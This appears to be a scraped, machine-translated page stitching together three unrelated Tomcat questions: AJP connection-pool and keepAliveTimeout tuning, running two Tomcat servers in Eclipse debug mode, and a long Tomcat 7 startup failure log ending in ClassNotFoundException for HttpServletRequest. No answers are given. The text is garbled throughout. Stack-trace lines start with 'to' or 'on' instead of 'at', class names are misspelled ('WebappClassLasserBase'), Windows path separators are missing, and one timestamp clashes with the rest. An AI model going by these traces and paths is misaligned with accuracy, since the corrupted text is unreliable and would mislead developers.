The next thing to try was the & # 39; keepAliveTimeout & # 39; on the AJP connection pool. This had the effect of closing the connections after a period of inactivity and therefore seems to have solved the problem. "

I search the web "How can I configure AJP" and a dozen variants for more than a day, but I can not find anything that explains that.

How can I implement this? As and when, which files should I edit and which changes can I make?

More precisely,

1) How to edit Apache config to modify AJP's MaxClients connection pool? Does this have to go into a configuration file or a directive block that identifies it as an AJP parameter, or can I just put MaxClients = 100 literally anywhere in apache2.conf?

2) How can I change the configuration of Tomcat to change the size of the AJP connection pool?

3) Do I change Tomcat's "MaxClients" or "MaxThreads", or both?

4) How can I change the Apache / Tomcat configuration to change the value 'keepAliveTimeout'? How to decide the value to define?

java – Can not start 2 Tomcat servers in debug mode

I have 2 tomcat servers for my application, one for the user interface and another for web services. I use eclipse. I start / stop the servers in eclipse. So, I enable remote debug mode (debug-> Remote Java Application) to debug the code.

The problem is that I could enable debug mode for web services, but not for the user interface. I use a different port. But that still does not work.

How to enable debugging for both tomcat servers? Please help.

eclipse – Tomcat v7.0 server startup failed on localhost

June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Server Version: Apache Tomcat / 7.0.94
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Server built: Apr 10, 2019 16:56:40 UTC
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: server number: 7.0.94.0
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Operating System Name: Windows 10
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Operating System Version: 10.0
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Architecture: x86
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Java Home: C: Programs Java jdk1.8.0_201 jre
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Version of the Java Virtual Machine: 1.8.0_201-b09
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: JVM Provider: Oracle Corporation
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: CATALINA_BASE: C: Users SWAN Madhuproj.metadata.plugins org.eclipse.wst.server.core tmp2
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: CATALINA_HOME: C: Program Files Apache Software Foundation Tomcat 7.0
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command Line Argument: -Dcatalina.base = C: Users SWAN Madhuproj.metadata.plugins org.eclipse.wst.server.core tmp2
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command Line Argument: -Dcatalina.home = C: Program Files Apache Software Foundation Tomcat 7.0
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command Line Argument: -Dwtp.deploy = C: Users SWAN Madhuproj.metadata.plugins org.eclipse.wst.server.core tmp2 wtpwebapps
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command Line Argument: -Djava.endorsed.dirs = C: Program Files Apache Software Foundation Tomcat 7.0 Endorsed
June 26, 2019 9:52:57 AM org.apache.catalina.startup.VersionLoggerListener log
INFO: Command Line Argument: -Dfile.encoding = Cp1252
June 26, 2019 9:52:57 AM org.apache.catalina.core.AprLifecycleListener lifecycleEvent
INFO: The Apache Tomcat native APR library for optimal performance in production environments was not found in java.library.path: C: Program Files Java jdk1.8.0_201 bin; C: WINDOWS Sun Java bin; C: WINDOWS system32; C: WINDOWS; C: / Programs / Java / jre1.8.0_201 / bin / client; C: / Programs / Java / jre1.8.0_201 / bin; C: / Program files / Java / jre1.8.0_201 / lib / i386; C: Program Files Common Files Oracle Java javapath; C: WINDOWS system32; C: WINDOWS; C: WINDOWS System32 Wbem; C: WINDOWS System32 WindowsPowerShell v1.0 ; C: WINDOWS System32 OpenSSH ; C: Program Files Java jdk1.8.0_201 bin; C: Users SWAN AppData Local Microsoft WindowsApps ;; C: Users SWAN Downloads eclipse ;;
June 26, 2019 09:52:57 org.apache.coyote.AbstractProtocol init
INFO: ProtocolHandler Initialization [“http-bio-8081”]
June 26, 2019 09:52:57 org.apache.coyote.AbstractProtocol init
INFO: ProtocolHandler Initialization [“ajp-bio-8010”]
June 26, 2019, load org.apache.catalina.startup.Catalina
INFO: initialization processed in 1685 ms
June 26, 2019 9:52:57 AM org.apache.catalina.core.StandardService startInternal
INFO: Catalina commissioning
June 26, 2019 09:52:57 org.apache.catalina.core.StandardEngine startInternal
INFO: Starting the Servlet Engine: Apache Tomcat / 7.0.94
June 26, 2019 9:53:00 AM org.apache.catalina.util.SessionIdGeneratorBase createSecureRandom
WARNING: Creating a SecureRandom Instance for Generating a Session ID with the Help of [SHA1PRNG] took [1,803] milliseconds.
June 26, 2019 09:53:00 org.apache.catalina.core.ContainerBase startInternal
SEVERE: Child Container Failed to Start
java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Component startup failed [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ServletDem]]to java.util.concurrent.FutureTask.report (FutureTask.java:122)
to java.util.concurrent.FutureTask.get (FutureTask.java:192)
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1243)
at org.apache.catalina.core.StandardHost.startInternal (StandardHost.java:819)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
at org.apache.catalina.core.ContainerBase $ StartChild.call (ContainerBase.java:1707)
at org.apache.catalina.core.ContainerBase $ StartChild.call (ContainerBase.java:1697)
to java.util.concurrent.FutureTask.run (FutureTask.java:266)
on java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1149)
to java.util.concurrent.ThreadPoolExecutor $ Worker.run (ThreadPoolExecutor.java:624)
on java.lang.Thread.run (Thread.java:748)
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ServletDem]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
… 6 more
Caused by: java.lang.NoClassDefFoundError: HttpServletRequest
at java.lang.Class.getDeclaredMethods0 (native method)
at java.lang.Class.privateGetDeclaredMethods (Class.java:2701)
at java.lang.Class.getDeclaredMethods (Class.java:1975)
to org.apache.catalina.util.Introspection.getDeclaredMethods (Introspection.java:127)
to org.apache.catalina.startup.WebAnnotationSet.loadMethodsAnnotation (WebAnnotationSet.java:286)
on org.apache.catalina.startup.WebAnnotationSet.loadApplicationServletAnnotations (WebAnnotationSet.java:139)
to org.apache.catalina.startup.WebAnnotationSet.loadApplicationAnnotations (WebAnnotationSet.java:70)
to org.apache.catalina.startup.ContextConfig.applicationAnnotationsConfig (ContextConfig.java:417)
at org.apache.catalina.startup.ContextConfig.configureStart (ContextConfig.java:884)
at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfig.java:388)
at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (LifecycleSupport.java:117)
to org.apache.catalina.util.LifecycleBase.fireLifecycleEvent (LifecycleBase.java:90)
at org.apache.catalina.core.StandardContext.startInternal (StandardContext.java:5606)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 6 more
Caused by: java.lang.ClassNotFoundException: HttpServletRequest
at org.apache.catalina.loader.WebappClassLasserBase.loadClass (WebappClassLoaderBase.java:1955)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass (WebappClassLoaderBase.java:1798)
… more 20

June 26, 2019 09:53:00 org.apache.catalina.core.ContainerBase startInternal
SEVERE: Child Container Failed to Start
java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Component startup failed [StandardEngine[Catalina].StandardHost[localhost]]to java.util.concurrent.FutureTask.report (FutureTask.java:122)
to java.util.concurrent.FutureTask.get (FutureTask.java:192)
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1243)
at org.apache.catalina.core.StandardEngine.startInternal (StandardEngine.java:300)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
at org.apache.catalina.core.StandardService.startInternal (StandardService.java:444)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
at org.apache.catalina.core.StandardServer.startInternal (StandardServer.java:758)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
to org.apache.catalina.startup.Catalina.start (Catalina.java:711)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.apache.catalina.startup.Bootstrap.start (Bootstrap.java:294)
at org.apache.catalina.startup.Bootstrap.main (Bootstrap.java:428)
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardEngine[Catalina].StandardHost[localhost]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
at org.apache.catalina.core.ContainerBase $ StartChild.call (ContainerBase.java:1707)
at org.apache.catalina.core.ContainerBase $ StartChild.call (ContainerBase.java:1697)
to java.util.concurrent.FutureTask.run (FutureTask.java:266)
on java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1149)
to java.util.concurrent.ThreadPoolExecutor $ Worker.run (ThreadPoolExecutor.java:624)
on java.lang.Thread.run (Thread.java:748)
Caused by: org.apache.catalina.LifecycleException: A child container failed at startup
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1254)
at org.apache.catalina.core.StandardHost.startInternal (StandardHost.java:819)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 6 more
Caused by: java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Component startup failed [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ServletDem]]to java.util.concurrent.FutureTask.report (FutureTask.java:122)
to java.util.concurrent.FutureTask.get (FutureTask.java:192)
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1243)
… 8 more
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ServletDem]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
… 6 more
Caused by: java.lang.NoClassDefFoundError: HttpServletRequest
at java.lang.Class.getDeclaredMethods0 (native method)
at java.lang.Class.privateGetDeclaredMethods (Class.java:2701)
at java.lang.Class.getDeclaredMethods (Class.java:1975)
to org.apache.catalina.util.Introspection.getDeclaredMethods (Introspection.java:127)
to org.apache.catalina.startup.WebAnnotationSet.loadMethodsAnnotation (WebAnnotationSet.java:286)
on org.apache.catalina.startup.WebAnnotationSet.loadApplicationServletAnnotations (WebAnnotationSet.java:139)
to org.apache.catalina.startup.WebAnnotationSet.loadApplicationAnnotations (WebAnnotationSet.java:70)
to org.apache.catalina.startup.ContextConfig.applicationAnnotationsConfig (ContextConfig.java:417)
at org.apache.catalina.startup.ContextConfig.configureStart (ContextConfig.java:884)
at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfig.java:388)
at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (LifecycleSupport.java:117)
to org.apache.catalina.util.LifecycleBase.fireLifecycleEvent (LifecycleBase.java:90)
at org.apache.catalina.core.StandardContext.startInternal (StandardContext.java:5606)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 6 more
Caused by: java.lang.ClassNotFoundException: HttpServletRequest
at org.apache.catalina.loader.WebappClassLasserBase.loadClass (WebappClassLoaderBase.java:1955)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass (WebappClassLoaderBase.java:1798)
… more 20

June 26, 2019 09:03:00 org.apache.catalina.startup.Catalina start
SEVERE: The required server component could not start, preventing Tomcat from starting.
org.apache.catalina.LifecycleException: unable to start component [StandardServer[8006]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
to org.apache.catalina.startup.Catalina.start (Catalina.java:711)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.apache.catalina.startup.Bootstrap.start (Bootstrap.java:294)
at org.apache.catalina.startup.Bootstrap.main (Bootstrap.java:428)
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardService[Catalina]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
at org.apache.catalina.core.StandardServer.startInternal (StandardServer.java:758)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 7 more
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardEngine[Catalina]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
at org.apache.catalina.core.StandardService.startInternal (StandardService.java:444)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 9 more
Caused by: org.apache.catalina.LifecycleException: A child container failed at startup
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1254)
at org.apache.catalina.core.StandardEngine.startInternal (StandardEngine.java:300)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 11 more
Caused by: java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Component startup failed [StandardEngine[Catalina].StandardHost[localhost]]to java.util.concurrent.FutureTask.report (FutureTask.java:122)
to java.util.concurrent.FutureTask.get (FutureTask.java:192)
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1243)
… 13 more
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardEngine[Catalina].StandardHost[localhost]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
at org.apache.catalina.core.ContainerBase $ StartChild.call (ContainerBase.java:1707)
at org.apache.catalina.core.ContainerBase $ StartChild.call (ContainerBase.java:1697)
to java.util.concurrent.FutureTask.run (FutureTask.java:266)
on java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1149)
to java.util.concurrent.ThreadPoolExecutor $ Worker.run (ThreadPoolExecutor.java:624)
on java.lang.Thread.run (Thread.java:748)
Caused by: org.apache.catalina.LifecycleException: A child container failed at startup
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1254)
at org.apache.catalina.core.StandardHost.startInternal (StandardHost.java:819)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 6 more
Caused by: java.util.concurrent.ExecutionException: org.apache.catalina.LifecycleException: Component startup failed [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ServletDem]]to java.util.concurrent.FutureTask.report (FutureTask.java:122)
to java.util.concurrent.FutureTask.get (FutureTask.java:192)
at org.apache.catalina.core.ContainerBase.startInternal (ContainerBase.java:1243)
… 8 more
Caused by: org.apache.catalina.LifecycleException: Can not start component [StandardEngine[Catalina].StandardHost[localhost].StandardContext[/ServletDem]]at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:162)
… 6 more
Caused by: java.lang.NoClassDefFoundError: HttpServletRequest
at java.lang.Class.getDeclaredMethods0 (native method)
at java.lang.Class.privateGetDeclaredMethods (Class.java:2701)
at java.lang.Class.getDeclaredMethods (Class.java:1975)
to org.apache.catalina.util.Introspection.getDeclaredMethods (Introspection.java:127)
to org.apache.catalina.startup.WebAnnotationSet.loadMethodsAnnotation (WebAnnotationSet.java:286)
on org.apache.catalina.startup.WebAnnotationSet.loadApplicationServletAnnotations (WebAnnotationSet.java:139)
to org.apache.catalina.startup.WebAnnotationSet.loadApplicationAnnotations (WebAnnotationSet.java:70)
to org.apache.catalina.startup.ContextConfig.applicationAnnotationsConfig (ContextConfig.java:417)
at org.apache.catalina.startup.ContextConfig.configureStart (ContextConfig.java:884)
at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfig.java:388)
at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (LifecycleSupport.java:117)
to org.apache.catalina.util.LifecycleBase.fireLifecycleEvent (LifecycleBase.java:90)
at org.apache.catalina.core.StandardContext.startInternal (StandardContext.java:5606)
at org.apache.catalina.util.LifecycleBase.start (LifecycleBase.java:145)
… 6 more
Caused by: java.lang.ClassNotFoundException: HttpServletRequest
at org.apache.catalina.loader.WebappClassLasserBase.loadClass (WebappClassLoaderBase.java:1955)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass (WebappClassLoaderBase.java:1798)
… more 20

June 26, 2019 09:53:00 org.apache.coyote.AbstractProtocol break
INFO: Pauseing ProtocolHandler [“http-bio-8081”]
June 26, 2019 09:53:00 org.apache.coyote.AbstractProtocol break
INFO: Pauseing ProtocolHandler [“ajp-bio-8010”]
26 June 2019 09:53:00 org.apache.catalina.core.StandardService stopInternal
INFO: Stop Catalina service
June 26, 2019 09:53:00 org.apache.coyote.AbstractProtocol destroy
INFO: ProtocolHandler Destruction [“http-bio-8081”]
June 26, 2019 09:53:00 org.apache.coyote.AbstractProtocol destroy
INFO: ProtocolHandler Destruction [“ajp-bio-8010”]